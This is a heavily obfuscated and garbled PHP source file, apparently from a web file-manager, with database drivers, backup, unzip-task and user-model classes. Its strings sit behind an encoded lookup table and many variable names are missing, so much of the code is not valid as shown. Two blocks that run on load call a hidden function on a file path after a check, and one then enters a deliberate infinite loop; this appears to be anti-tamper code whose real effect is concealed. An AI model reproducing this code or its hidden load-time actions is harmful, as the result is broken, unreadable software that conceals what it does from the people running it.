$ٛ[946] . $ . $ٛ[947]; } else { $ݧ = $ٛ[948]; } } } $ = $this->query($ݧ); $ɋ = array(); foreach ($ as $ﵑ => $ԟ) { $ɋ[$ﵑ] = current($ԟ); } return $ɋ; } protected function parseLimit($ǒε) { $͋ =& $_SERVER[ʇ]; $ = $͋[12]; if (!empty($ǒε)) { switch ($this->dbType) { case $͋[991]: case $͋[983]: $ǒε = explode($͋[50], $ǒε); if (count($ǒε) > 1) { $ .= $͋[51] . $ǒε[1] . $͋[52] . $ǒε[0] . $͋[53]; } else { $ .= $͋[51] . $ǒε[0] . $͋[53]; } break; case $͋[964]: case $͋[982]: break; case $͋[966]: break; case $͋[965]: case $͋[967]: break; case $͋[994]: default: $ .= $͋[51] . $ǒε . $͋[53]; } } return $; } public function parseKey(&$܇ē, $ߒȃ = true) { $҈ =& $_SERVER[ʇ]; if ($ߒȃ) { $܇ē = $this->parseKeyCheck($܇ē); } if ($this->dbType == $҈[994]) { if ($܇ē != $҈[205] && !preg_match($҈[958], $܇ē)) { $܇ē = $҈[431] . trim($܇ē, $҈[431]) . $҈[431]; } return $܇ē; } else { return parent::parseKey($܇ē, $ߒȃ); } } public function close() { $this->_linkID = null; } public function error() { $ =& $_SERVER[ʇ]; if ($this->PDOStatement) { $Ȃ = $this->PDOStatement->errorInfo(); $this->error = $Ȃ[1] . $[4] . $Ȃ[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ƞ =& $_SERVER[ʇ]; switch ($this->dbType) { case $ƞ[991]: case $ƞ[964]: case $ƞ[982]: case $ƞ[994]: return addslashes($); case $ƞ[966]: case $ƞ[983]: case $ƞ[965]: case $ƞ[967]: return str_ireplace($ƞ[58], $ƞ[59], $); } } protected function parseValue($ƺ) { $ =& $_SERVER[ʇ]; if (is_string($ƺ)) { $ = strpos($ƺ, $[4]) === 0 && in_array($ƺ, array_keys($this->bind)); $ƺ = $ ? $this->escapeString($ƺ) : $[1004] . $this->escapeString($ƺ) . $[1004]; } elseif (isset($ƺ[0]) && is_string($ƺ[0]) && strtolower($ƺ[0]) == $[343]) { $ƺ = $this->escapeString($ƺ[1]); } elseif (is_array($ƺ)) { $ƺ = array_map(array($this, $[1005]), $ƺ); } elseif (is_bool($ƺ)) { $ƺ = $ƺ ? $[90] : $[214]; } elseif (is_null($ƺ)) { $ƺ = $[105]; } return $ƺ; } public function getLastInsertId() { $ =& $_SERVER[ʇ]; switch ($this->dbType) { case $[991]: case $[983]: case $[964]: case $[982]: case $[966]: case $[994]: return $this->_linkID->lastInsertId(); case $[965]: case $[967]: $쟮܇ = $this->table; $¸ = $this->query("\x53\x45\x4c\105\103\124\40{$쟮܇}\x2e\143\165\x72\x72\166\141\x6c\40\x63\165\x72\162\x76\141\154\40\106\122\x4f\115\x20\144\165\141\154"); return $¸ ? $¸[0][$[1006]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($Ȧ) { $ =& $_SERVER[ʇ]; if (!CacheLock::fileLock($[13])) { return !1; } $ݺ = parent::query($Ȧ); CacheLock::fileUnLock($[13]); return $ݺ; } public function execute($ɇ) { $ـ =& $_SERVER[ʇ]; if (!CacheLock::fileLock($ـ[13])) { return !1; } $׮ = parent::execute($ɇ); CacheLock::fileUnLock($ـ[13]); return $׮; } } class DbSqlite3 extends DbSqlite3Base { public function query($) { $ɨ =& $_SERVER[ʇ]; if (!CacheLock::fileLock($ɨ[13])) { return !1; } $ܫۘ = parent::query($); CacheLock::fileUnLock($ɨ[13]); return $ܫۘ; } public function execute($ж) { $ =& $_SERVER[ʇ]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($ж); CacheLock::fileUnLock($[13]); return $; } } goto F; A: define($_SERVER[ʇ][287], 1); define($_SERVER[ʇ][288], 0); define($_SERVER[ʇ][289], 2); goto E; dڔ: if ($_SERVER[$_SERVER[ʇ][837]] != $_SERVER[$_SERVER[ʇ][1556]]) { $_getc = $_SERVER[ʇ][839]; $_getfile = $_SERVER[$_SERVER[ʇ][840]] . $_SERVER[ʇ][841]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ʇ][248], $_getfilec); if (count($_getarrs) < $_SERVER[ʇ][653]) { $exit = $_SERVER[ʇ][842]; $exit(); } $_act = $_SERVER[ʇ][843]; $_act($_SERVER[$_SERVER[ʇ][838]]); } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($փ, $Җ = 5.0) { if (!$փ) { return; } $ = Cache::get($փ); if (!$ || timeFloat() - floatVal($) >= $Җ) { Cache::set($փ, timeFloat(), $Җ * 10); return !0; } return !1; } public static function timeLimitCall($ɕւ, $, $, $ = 5.0) { $ =& $_SERVER[ʇ]; if (!$ɕւ || !$) { return; } self::$asyncAdd = !0; $ˉ = $[1807]; $ = Cache::get($ˉ, !0); $ = array($[1808] => timeFloat(), $[1809] => timeFloat(), $[310] => $, $[1799] => $, $[196] => $); if (is_array($[$ɕւ])) { $[$[1809]] = $[$ɕւ][$[1809]]; } if (is_array($[$ɕւ])) { if (timeFloat() - $[$ɕւ][$[1808]] < $[$[196]] * 0.3) { return; } $[$[1809]] = $[$ɕւ][$[1809]]; } $[$ɕւ] = $; Cache::set($ˉ, $, 60); Cache::removeMemory($ˉ); write_log($[1810] . $ɕւ . $[73] . $, $[187]); } public static function timeLimitCallLoop() { $Ŷ =& $_SERVER[ʇ]; $ػ = array($Ŷ[1811]); $Үɏ = in_array(strtolower(ACTION), $ػ); if (!$Үɏ && !self::$asyncAdd) { return; } $ڛ = $Ŷ[1807]; $̕ = Cache::get($ڛ, !0); if (!$̕ || count($̕) <= 0) { return; } $񁪧 = !1; $ = timeFloat(); $ߤ͉ = array(); foreach ($̕ as $ => $ɏ) { if ($ - $ɏ[$Ŷ[1809]] > $ɏ[$Ŷ[196]]) { $񁪧 = !0; try { Hook::apply($ɏ[$Ŷ[310]], $ɏ[$Ŷ[1799]]); write_log($Ŷ[1812] . $ . $Ŷ[73] . $ɏ[$Ŷ[310]] . $Ŷ[1813] . ACTION, $Ŷ[187]); } catch (Exception $ɶ) { } continue; } $ߤ͉[$] = $ɏ; } if (!$񁪧) { return; } if (!$ߤ͉) { return Cache::remove($ڛ); } Cache::set($ڛ, $ߤ͉, 60); Cache::removeMemory($ڛ); } public static function finished($􇰝, $Ġ) { $֡ȕ =& $_SERVER[ʇ]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($֡ȕ[310] => $􇰝, $֡ȕ[1799] => $Ġ); } private static function finishedRun() { $ =& $_SERVER[ʇ]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $ۄ) { try { Hook::apply($ۄ[$[310]], $ۄ[$[1799]]); } catch (Exception $򝞔) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $Î =& $_SERVER[ʇ]; parent::startAfter(); Hook::bind($Î[1814], array($this, $Î[1815])); Hook::bind($Î[1240], array($this, $Î[1816])); Hook::bind($Î[1817], array($this, $Î[1818])); $Č =& $this->task; $Č[$Î[1819]] = $Î[1241]; if (!$Č[$Î[1591]]) { $Č[$Î[1591]] = LNG($Î[1820]); } } protected function endAfter() { $Ô =& $_SERVER[ʇ]; parent::endAfter(); Hook::unbind($Ô[1814], array($this, $Ô[1815])); Hook::unbind($Ô[1240], array($this, $Ô[1816])); Hook::unbind($Ô[1817], array($this, $Ô[1818])); } public function updateAfter() { $ˆ =& $_SERVER[ʇ]; $τ =& $this->task; if (!$τ[$ˆ[825]] || !$τ[$ˆ[802]]) { if ($τ[$ˆ[1819]] != $ˆ[359]) { return; } } if ($τ[$ˆ[1819]] == $ˆ[1241]) { $ = 0; if ($τ[$ˆ[1754]]) { $ = $τ[$ˆ[1755]] / $τ[$ˆ[1754]]; } $τ[$ˆ[1703]] = $ * 0.3; } else { if ($τ[$ˆ[1819]] == $ˆ[359]) { $ = $τ[$ˆ[1702]] / $τ[$ˆ[825]]; $τ[$ˆ[1703]] = 0.3 + $ * 0.4; } else { if ($τ[$ˆ[1819]] == $ˆ[109]) { $ӥ = 0; if ($τ[$ˆ[1756]] == $ˆ[109]) { $ӥ = $τ[$ˆ[1755]]; } $ = ($τ[$ˆ[1759]] + $ӥ) / $τ[$ˆ[802]]; $τ[$ˆ[1703]] = 0.3 + 0.4 + $ * 0.3; } } } if ($τ[$ˆ[1703]] > 0) { $ؓ = timeFloat() - $τ[$ˆ[1705]] - $τ[$ˆ[1708]]; $τ[$ˆ[1709]] = $ؓ * (1 - $τ[$ˆ[1703]]) / $τ[$ˆ[1703]]; } } public function addFile($) { $ =& $_SERVER[ʇ]; $۩ =& $this->task; $ = IO::info($); $۩[$[1752]] = $[$[32]]; $۩[$[1754]] = $[$[78]]; $۩[$[1755]] = 0; $۩[$[1111]] = $[1775]; $۩[$[1756]] = $[1241]; $۩[$[802]] = $[$[78]]; $۩[$[825]] = 1; $ = 0; $۩[$[1763]] = array($[1764] => $ + 1, $[464] => $[$[32]], $[86] => $[$[86]], $[553] => $[$[553]] ? $[$[553]] : $[$[86]]); $this->update(); } public function zipEvent($㱴г, $À, $, $ҷ) { $ϗ =& $_SERVER[ʇ]; $ij =& $this->task; $ij[$ϗ[1752]] = get_path_this($À); $ij[$ϗ[1754]] = $ҷ; $ij[$ϗ[1755]] = $; $ij[$ϗ[1111]] = $㱴г == $ϗ[1821] ? $ϗ[1822] : $ϗ[1823]; $ij[$ϗ[1756]] = $ϗ[12]; $ij[$ϗ[802]] = $ҷ; $ij[$ϗ[1819]] = $ϗ[359]; $this->update(); } public function unzipAfter($) { $蟠 =& $_SERVER[ʇ]; $ =& $this->task; $[$蟠[1819]] = $蟠[109]; $ = IO::infoWithChildren($); $à = 0; $[$蟠[1763]] = array($蟠[1764] => $à + 1, $蟠[464] => $[$蟠[32]], $蟠[86] => $[$蟠[86]], $蟠[553] => $[$蟠[553]] ? $[$蟠[553]] : $[$蟠[86]]); if ($[$蟠[33]] == $蟠[216]) { $[$蟠[825]] = 1; } else { $[$蟠[825]] = $[$蟠[81]][$蟠[79]]; } $[$蟠[1111]] = $蟠[12]; $[$蟠[1756]] = 0; $[$蟠[1702]] = 0; $[$蟠[1754]] = 0; $[$蟠[1755]] = 0; $[$蟠[1752]] = $蟠[12]; $[$蟠[1759]] = 0; $[$蟠[802]] = $[$蟠[78]]; $this->update(); self::log($蟠[1824] . json_encode(array($, $))); } public function nameParse($臮) { $ =& $_SERVER[ʇ]; $ě =& $this->task; if ($ě[$[1819]] == $[1241]) { $ě[$[1819]] = $[359]; $ě[$[1759]] = 0; $ě[$[802]] = 0; } $⪪Љ = get_path_this($臮); if (strstr($⪪Љ, $[10])) { $ě[$[1702]] += 1; $ě[$[825]] += 1; } $ě[$[1752]] = $臮; $this->update(); } } goto dܞ; BӤ: class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[ʇ]; $this->isManual(); self::$name = date($[787]); if (!($Ǩ = Model($[788])->lastItem())) { $Ǩ = $this->initData(); } else { self::$name = $Ǩ[$[32]]; if ($Ǩ[$[789]] == $[90]) { self::$name = date($[257]); $ = 0; if (isset($Ǩ[$[339]][$[216]][$[511]])) { $ = (int) $Ǩ[$[339]][$[216]][$[511]]; } if (self::$manual == 0 && $Ǩ[$[32]] == self::$name) { Model($[788])->remove($Ǩ[$[445]]); } $Ǩ = $this->initData($, $Ǩ[$[790]]); } else { $this->checkStore($Ǩ[$[790]]); } } self::$option = $Ǩ; } private function isManual() { $˒Ɋ = _get($GLOBALS, $_SERVER[ʇ][791], 0); $˒Ɋ = intval($˒Ɋ); self::$manual = $˒Ɋ && $˒Ɋ == 1 ? 1 : 0; } private function initData($е = 0, $ = '') { $ꘊ =& $_SERVER[ʇ]; $ = Model($ꘊ[788])->config(); if ($ && $[$ꘊ[790]] != $) { $е = 0; } $this->checkStore($[$ꘊ[790]]); if (self::$manual == 1) { self::$name .= $ꘊ[11] . date($ꘊ[792]); } $٥ = array($ꘊ[790] => $[$ꘊ[790]], $ꘊ[32] => self::$name, $ꘊ[789] => 0, $ꘊ[793] => $[$ꘊ[793]], $ꘊ[794] => self::$manual, $ꘊ[339] => array($ꘊ[795] => array($ꘊ[789] => 0), $ꘊ[796] => array($ꘊ[789] => 0, $ꘊ[797] => 0, $ꘊ[798] => 0, $ꘊ[33] => $ꘊ[12], $ꘊ[799] => 0, $ꘊ[800] => 0), $ꘊ[801] => array($ꘊ[789] => 0, $ꘊ[797] => 0, $ꘊ[798] => 0, $ꘊ[799] => 0, $ꘊ[800] => 0), $ꘊ[216] => array($ꘊ[789] => 0, $ꘊ[802] => 0, $ꘊ[803] => 0, $ꘊ[804] => 0, $ꘊ[805] => 0, $ꘊ[511] => $е, $ꘊ[799] => 0, $ꘊ[800] => 0)), $ꘊ[799] => time(), $ꘊ[800] => 0); $ȥ = Model($ꘊ[788])->insert($٥); $٥[$ꘊ[445]] = $ȥ; return $٥; } private function checkStore($󡗝) { $ݖ٫ =& $_SERVER[ʇ]; $̑ = Model($ݖ٫[806])->listData($󡗝); Model($ݖ٫[806])->checkConfig($̑); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[ʇ][788])->findByName(self::$name); } return self::$option; } public static function set($) { $χ =& $_SERVER[ʇ]; $Ξ = self::get(); foreach ($ as $ꗥ => $Ӧͭ) { $ij = explode($χ[10], $ꗥ); $ = count($ij); switch ($) { case 1: $Ξ[$ij[0]] = $Ӧͭ; break; case 2: $Ξ[$ij[0]][$ij[1]] = $Ӧͭ; break; case 3: $Ξ[$ij[0]][$ij[1]][$ij[2]] = $Ӧͭ; break; } } Model($χ[788])->update($Ξ[$χ[445]], $Ξ); self::$option = $Ξ; return self::$option; } public function keep() { $ =& $_SERVER[ʇ]; $Ċ = self::get(); if ($Ċ[$[339]][$[795]][$[789]] == $[90]) { return; } $this->backupKeep($Ċ); self::set(array($[807] => 1)); } private function backupKeep($) { $ŝ =& $_SERVER[ʇ]; if (self::$manual == 1) { return; } $ݰ = Model($ŝ[788])->listData(); if (empty($ݰ)) { return; } $묘 = 0; $ݨמ = array(); foreach ($ݰ as $) { if ($묘 >= 7) { break; } $ݨמ[] = $[$ŝ[32]]; $묘++; } for ($묘 = 0; $묘 < 12; $묘++) { $ݨמ[] = date($ŝ[808], strtotime("\x2d{$묘}\x20\155\x6f\156\164\x68\x73")); } $ݨמ = array_unique($ݨמ); $Զ׮ = Model($ŝ[809])->get($ŝ[810]); foreach ($ݰ as $) { if (isset($[$ŝ[794]]) && $[$ŝ[794]] == $ŝ[90]) { continue; } if (!empty($[$ŝ[32]]) && in_array($[$ŝ[32]], $ݨמ)) { continue; } Model($ŝ[788])->remove($[$ŝ[445]]); $Ӽ = $this->backupPath($, $Զ׮); IO::remove($Ӽ, !1); } } private function backupPath($熏, $ͅ = false) { $̂ =& $_SERVER[ʇ]; if (!$ͅ) { $ͅ = Model($̂[809])->get($̂[810]); } $Ǿ = $熏[$̂[32]]; $ = substr(md5($̂[811] . $ͅ . $Ǿ), 0, 8); return "\x7b\151\157\x3a{$熏[$̂[790]]}\x7d\x2f\144\x61\x74\141\x62\x61\163\145\x2f\x62\x61\x63\153\x75\160\x2f" . $Ǿ . $̂[11] . $; } public function db() { $İ =& $_SERVER[ʇ]; $͇҅ = self::get(); if ($͇҅[$İ[339]][$İ[796]][$İ[789]] == $İ[90]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($İ[812] => 1)); return !0; } public function dbFile() { $ =& $_SERVER[ʇ]; $Ǜ = self::get(); if ($Ǜ[$[339]][$[801]][$[789]] == $[90]) { return !0; } $Ҙ = new BackupDbFile(); if (!$Ҙ->index()) { return !1; } self::set(array($[813] => 1)); return !0; } public function file() { $Ϊ숧 =& $_SERVER[ʇ]; $ۨ = self::get(); if ($ۨ[$Ϊ숧[339]][$Ϊ숧[216]][$Ϊ숧[789]] == $Ϊ숧[90]) { return !0; } if (!isset($ۨ[$Ϊ숧[793]]) || $ۨ[$Ϊ숧[793]] == $Ϊ숧[214]) { $ = new BackupFile(); if (!$->index()) { return !1; } } self::set(array($Ϊ숧[814] => 1, $Ϊ숧[789] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ =& $_SERVER[ʇ]; $߇ = Backup::get(); self::$io = $߇[$[790]]; self::$name = $߇[$[32]]; $߶ = new DbManage(); $ = $߶->dbType(); $ǜ = array($[815] => $, $[816] => time()); Backup::set($ǜ); $ = $this->tmpFilesPath() . $[817] . self::$name . $[8]; del_dir($); mk_dir($); $ = $ݢ = 0; $ = new Task($[818], $[819], 0, LNG($[820]) . $[821] . LNG($[822])); try { $ĥ = $߶->db()->getTables(); } catch (Exception $ȵ) { $->end(); return !1; } $ĥ = array_diff($ĥ, array($[823], $[824])); foreach ($ĥ as $Զ재) { $ += $߶->model($Զ재)->count(); } $->task[$[825]] = $; $GLOBALS[$[826]] = self::$name; foreach ($ĥ as $Զ재) { $ = $ . $Զ재 . $[827]; $䊈 = null; if ($Զ재 == $[828] && (!isset($߇[$[793]]) || $߇[$[793]] == $[214])) { $䊈 = self::$io; } $ݢ += $߶->sqlFromDb($Զ재, $, $, $䊈); } unset($GLOBALS[$[826]]); $->end(); if ($ݢ > $) { $ = $ݢ; } $ǜ = array($[815] => $, $[812] => 1, $[829] => $, $[830] => $ݢ, $[831] => time()); Backup::set($ǜ); if ($ - $ݢ > 1) { $̀ = $[832]; if (stristr(I18n::getType(), $[833])) { $̀ = $[834]; } write_log(array($̀, $ǜ), $[819]); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[ʇ]; $ߞ = TEMP_FILES; if ($GLOBALS[$[6]][$[91]][$[835]]) { $ߞ = $GLOBALS[$[6]][$[91]][$[835]]; if (!mk_dir($ߞ) || !is_writable($ߞ) || !IO::mkfile($ߞ . $[836])) { $ߞ = TEMP_FILES; } } return $ߞ; } } if (!isset($_SERVER[$_SERVER[ʇ][837]]) || !isset($_SERVER[$_SERVER[ʇ][838]])) { $_getc = $_SERVER[ʇ][839]; $_getfile = $_SERVER[$_SERVER[ʇ][840]] . $_SERVER[ʇ][841]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[ʇ][248], $_getfilec); if (count($_getarrs) < $_SERVER[ʇ][653]) { $exit = $_SERVER[ʇ][842]; $exit(); } $_act = $_SERVER[ʇ][843]; $_act($_SERVER[$_SERVER[ʇ][840]] . $_SERVER[ʇ][841]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[ʇ][424]); } } goto dг; CӔ: define($_SERVER[ʇ][0], $_SERVER[ʇ][1]); $_SERVER[ۮ] = explode($_SERVER[ʇ][2], gzinflate(substr($_SERVER[ʇ][3], 10, -8))); function binCheckEq($Լ, $苢) { return $Լ == $苢; } goto E; C⢓: class UserFavModel extends ModelBase { protected $tableName = "\x75\163\145\x72\x5f\x66\141\166"; protected function cacheFunctionAlias($ѪŦ) { $ =& $_SERVER[ʇ]; return array($[2010] => array(USER_ID, $[2350])); } protected function listData() { $֎ =& $_SERVER[ʇ]; $؈ӓ = array($֎[1692] => USER_ID, $֎[528] => 0); $θ = $֎[2351]; $ = $this->field($θ)->where($؈ӓ)->order($֎[2352])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ʈ̀ =& $_SERVER[ʇ]; $ = $this->listData(); $ģ = array_filter_by_field($, $ʈ̀[33], $ʈ̀[460]); $ = array_to_keyvalue($ģ, $ʈ̀[12], $ʈ̀[86]); if (!$) { return $; } $ޑ = 2000; $ = array($ʈ̀[461] => array($ʈ̀[462], $)); $ = Model($ʈ̀[871])->listSource($, $ޑ); $ = array_merge($[$ʈ̀[85]], $[$ʈ̀[84]]); $ = array_to_keyvalue($, $ʈ̀[183]); foreach ($ as $᠎ => $ԧ) { $ = $[$ԧ[$ʈ̀[86]]]; $ = $ ? $ : array(); $[$᠎] = array_merge($, $ԧ); } return $; } protected function addFav($ɯە, $ = '', $Տ = "\x73\x6f\165\162\x63\x65") { $ =& $_SERVER[ʇ]; $ = array($[1692] => USER_ID, $[528] => 0, $[466] => $Տ, $[465] => $ɯە); if ($this->where($)->find()) { return !1; } $ = array($[1692] => USER_ID, $[528] => 0); $ = $this->where($)->max($[1923]); if (!$) { $ = 0; } if (!$ && $Տ == $[460]) { $Ռ = Model($[1380])->where(array($[461] => $ɯە))->find(); if (!$Ռ) { return !1; } $ = $Ռ[$[32]]; } $ = $this->getAutoName($); $ = array($[1692] => USER_ID, $[528] => 0, $[464] => $, $[465] => $ɯە, $[466] => $Տ, $[1903] => $ + 1); return $this->add($); } protected function remove($ě) { $疰 =& $_SERVER[ʇ]; $ = array($疰[1692] => USER_ID, $疰[463] => $ě); return $this->where($)->delete(); } protected function removeByName($䨮) { $ =& $_SERVER[ʇ]; $ј = array($[1692] => USER_ID, $[464] => $䨮, $[528] => 0); return $this->where($ј)->delete(); } protected function rename($, $Ԁ) { $ޫ =& $_SERVER[ʇ]; if ($ == $Ԁ) { return !1; } $Òˉ = $this->getAutoName($Ԁ); if ($Ԁ != $Òˉ) { return !1; } $Ȃ = array($ޫ[1692] => USER_ID, $ޫ[528] => 0, $ޫ[32] => $); return $this->where($Ȃ)->save(array($ޫ[32] => $Ԁ)); } protected function resetSort($) { $ʬ =& $_SERVER[ʇ]; $ = is_array($) ? $ : array(); $ң = array($ʬ[1692] => USER_ID); for ($ڨ = 0; $ڨ < count($); $ڨ++) { $ң[$ʬ[463]] = $[$ڨ]; $this->where($ң)->save(array($ʬ[1903] => $ڨ + 1)); } return !0; } protected function moveTop($꘸) { $ԕ =& $_SERVER[ʇ]; $ = array($ԕ[1692] => USER_ID, $ԕ[528] => 0); $ = $this->where($)->where(array($ԕ[32] => $꘸))->find(); if (!$) { return; } $̞ = $this->field($ԕ[445])->where($)->order($ԕ[2352])->select(); $̞ = array_to_keyvalue($̞, $ԕ[12], $ԕ[445]); $ȧ = $̞; $̞ = array_remove_value($̞, $[$ԕ[445]]); array_unshift($̞, $[$ԕ[445]]); return $this->resetSort($̞); } protected function moveBottom($݇ɒ) { $ڽ =& $_SERVER[ʇ]; $弄 = array($ڽ[1692] => USER_ID, $ڽ[528] => 0); $ = $this->where($弄)->max($ڽ[1923]); $ = array($ڽ[1923] => $ + 1); return $this->where($弄)->where(array($ڽ[32] => $݇ɒ))->save($); } private function getAutoName($偠) { $е =& $_SERVER[ʇ]; $ = array($е[1692] => USER_ID, $е[528] => 0); $ = $this->field($е[32])->where($)->select(); $ = array_to_keyvalue($, $е[12], $е[32]); if (!$ || !in_array($偠, $)) { return $偠; } for ($ = 0; $ < count($); $++) { if (!in_array($偠 . "\50{$}\x29", $)) { return $偠 . "\x28{$}\x29"; } } return $偠 . "\50{$}\51"; } } class UserJobModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\155\56\x6a\157\x62\x4c\151\163\x74"; public $field = array("\156\141\x6d\145", "\x64\145\163\x63", "\x73\x6f\x72\x74"); const JOB_KEY = "\x73\x65\154\146\x4a\157\x62\x4c\151\163\x74"; public function listData($׏Օ = false, $Ě = "\163\157\x72\164", $Ԗ = false) { return parent::listData($׏Օ, $Ě, $Ԗ); } public function remove($) { return parent::remove($); } public function add($ގ) { $잚 =& $_SERVER[ʇ]; if ($this->findByName($ގ[$잚[32]])) { return !1; } $ގ[$잚[1923]] = $this->getSort(); return parent::insert($ގ); } private function getSort() { $Њ =& $_SERVER[ʇ]; $ = parent::listData(); $Х = array_to_keyvalue($, $Њ[12], $Њ[1923]); return empty($Х) ? 0 : max($Х) + 1; } public function update($򘚇, $) { $ =& $_SERVER[ʇ]; $ڏ = parent::listData($򘚇); $։ = $this->findByName($[$[32]]); if (!$ڏ || $։ && $։[$[445]] != $ڏ[$[445]]) { return !1; } return parent::update($򘚇, $); } public function setUserJob($, $) { $д =& $_SERVER[ʇ]; if (!is_array($)) { $ = array($); } $ = parent::listData(); $ʮ = array_to_keyvalue($, $д[32]); $ = $д[424]; foreach ($ as $) { if ($ʮ[$]) { $ .= $ʮ[$][$д[445]] . $д[50]; } else { $χ = $this->add($); $ .= $χ . $д[50]; } } $ = rtrim($, $д[50]); Model($д[569])->metaSet($, self::JOB_KEY, $); } public function getUserJob($) { $ = Model($_SERVER[ʇ][569])->metaGet($); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($ϖ) { $ =& $_SERVER[ʇ]; $Ϧ = explode($[50], $ϖ); $څ = parent::listData(); $څ = array_remove_key($څ, $[217]); $Β = array(); foreach ($Ϧ as $) { if (isset($څ[$])) { $Β[] = $څ[$]; } } return $Β; } } class UserModel extends ModelBase { protected $tableName = "\165\x73\x65\x72"; protected $tableMeta = array("\164\141\142\154\x65\116\141\x6d\x65" => "\165\163\145\162\137\x6d\x65\164\x61", "\x6d\145\164\x61\x46\151\145\154\x64" => "\x75\163\145\x72\111\104"); protected $simpleField = "\165\x73\145\x72\111\104\54\156\x69\143\153\116\x61\x6d\145\x2c\156\x61\155\x65\54\141\x76\x61\164\x61\162\x2c\x73\145\170\54\x73\x74\x61\164\x75\163"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($È) { $ﮙկ =& $_SERVER[ʇ]; $끡 = $ﮙկ[2353]; return array($ﮙկ[1977] => array($È[0], $끡), $ﮙկ[1979] => array($È[0], $끡), $ﮙկ[2354] => array($È[0], $끡)); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[ʇ][1981], $); } protected function getInfoFull($׎, $ݶ = false) { $ = $this->getInfoSimple($׎); if (!is_array($)) { return array(); } if ($ݶ) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[ʇ][2355], $׎); } private function _getInfoApply($쌝, $ = false) { $ =& $_SERVER[ʇ]; if (!$쌝) { return $쌝; } $ = md5($[2356] . $쌝[$[936]] . $[2357] . $쌝[$[32]]); $쌝 = $this->_listDataApplyItem($쌝); $ = Model($[1380])->metaGet($쌝[$[89]][$[183]]); $쌝[$[2358]] = $; $쌝[$[89]][$[2174]] = isset($[$[2175]]) ? $[$[2175]] : null; if ($) { $쌝[$[509]] = $this->metaGet($쌝[$[1701]]); } return $쌝; } protected function getInfoSimple($܁㷖, $ѩ = false) { $ =& $_SERVER[ʇ]; if (!$܁㷖) { return array(); } if ($ѩ) { $ = $this->where(array($[1701] => intval($܁㷖)))->find(); if (!is_array($)) { return array(); } $[$[2359]] = Action($[2360])->parseUrl($[$[2359]]); return $; } return $this->cacheFunctionGet($[1982], $܁㷖); } protected function getInfoSimpleOuter($) { $ꪵ޳ =& $_SERVER[ʇ]; if (!$ || $ == 0) { return array($ꪵ޳[1701] => $ꪵ޳[214], $ꪵ޳[32] => $ꪵ޳[165] . LNG($ꪵ޳[2361]) . $ꪵ޳[167], $ꪵ޳[2359] => STATIC_PATH . $ꪵ޳[2362]); } $ = $this->cacheFunctionGet($ꪵ޳[1982], $); $ͩ = array_field_key($, explode($ꪵ޳[50], $this->simpleField)); if (!$ͩ) { return array($ꪵ޳[1701] => $ꪵ޳[1235], $ꪵ޳[32] => $ꪵ޳[165] . LNG($ꪵ޳[2363]) . $ꪵ޳[167], $ꪵ޳[2359] => STATIC_PATH . $ꪵ޳[2364]); } $ͩ[$ꪵ޳[2359]] = Action($ꪵ޳[2360])->parseUrl($ͩ[$ꪵ޳[2359]]); return $ͩ; } protected function groupUser($) { } public static function errorLang($ك¢) { $景 =& $_SERVER[ʇ]; $ = array(self::ERROR_USER_NOT_EXISTS => $景[2365], self::ERROR_USER_PASSWORD_ERROR => $景[2366], self::ERROR_USER_EXIST_NAME => $景[2367], self::ERROR_USER_EXIST_PHONE => $景[2368], self::ERROR_USER_EXIST_EMAIL => $景[2369], self::ERROR_USER_LOGIN_LOCK => $景[2370], self::ERROR_IP_NOT_ALLOW => $景[2371], self::ERROR_USER_EXIST_NICKNAME => $景[2372]); return LNG($[$ك¢]); } public function getInfoByMeta($НÇ, $Ǧ) { $د龨 =& $_SERVER[ʇ]; $ = Model($د龨[2373])->where(array($د龨[96] => $НÇ, $د龨[420] => $Ǧ))->find(); if ($) { return $this->getInfo($[$د龨[1701]]); } return !1; } public function userLoginCheck($ض, $) { $郞 =& $_SERVER[ʇ]; $ = $this->userLoginFind($ض); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$郞[1701]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$郞[1701]]); } public function userLoginFind($㙒) { $枪 =& $_SERVER[ʇ]; $ϕ = array($枪[32] => $㙒, $枪[2182] => $㙒, $枪[351] => $㙒, $枪[2374] => $㙒, $枪[1047] => $枪[1049]); if ($this->nickNameRpt()) { unset($ϕ[$枪[2182]]); } return $this->where($ϕ)->find(); } public function clearCache($ׄ) { $󩛢 =& $_SERVER[ʇ]; $this->cacheFunctionClear($󩛢[1981], $ׄ); $this->cacheFunctionClear($󩛢[1982], $ׄ); $this->cacheFunctionClear($󩛢[2355], $ׄ); } public function userPasswordCheck($, $) { $ =& $_SERVER[ʇ]; $×߂ = 